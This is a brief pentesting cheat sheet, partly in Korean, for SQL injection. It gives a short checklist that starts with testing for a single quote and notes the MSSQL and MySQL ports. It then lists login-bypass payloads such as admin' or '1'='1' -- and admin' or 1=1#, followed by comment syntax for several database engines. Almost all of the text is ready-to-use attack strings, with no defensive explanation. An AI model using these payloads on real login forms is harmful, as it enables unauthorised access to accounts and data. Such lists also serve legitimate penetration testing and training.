• [ ] 가장 먼저 single quote ' 로 확인 해보기
• [ ] MSSQL 1433
• [ ] MySQL 3306

admin'--
admin'-- -
admin' or 1=1 -- 
admin' or '1'='1
admin' or '1'='1' -- 
admin' or '1'='1'#
admin' or 1=1#
admin' or 1=1/*

Different SQL syntax

MySQL 
#comment 
-- comment     [Note the space after the double dash] 
/*comment*/ 
/*! MYSQL Special SQL */  

PostgreSQL 
--comment 
/*comment*/  

MSQL 
--comment 
/*comment*/  

Oracle 
--comment  

SQLite 
--comment 
/*comment*/
  
HQL 
HQL does not support comments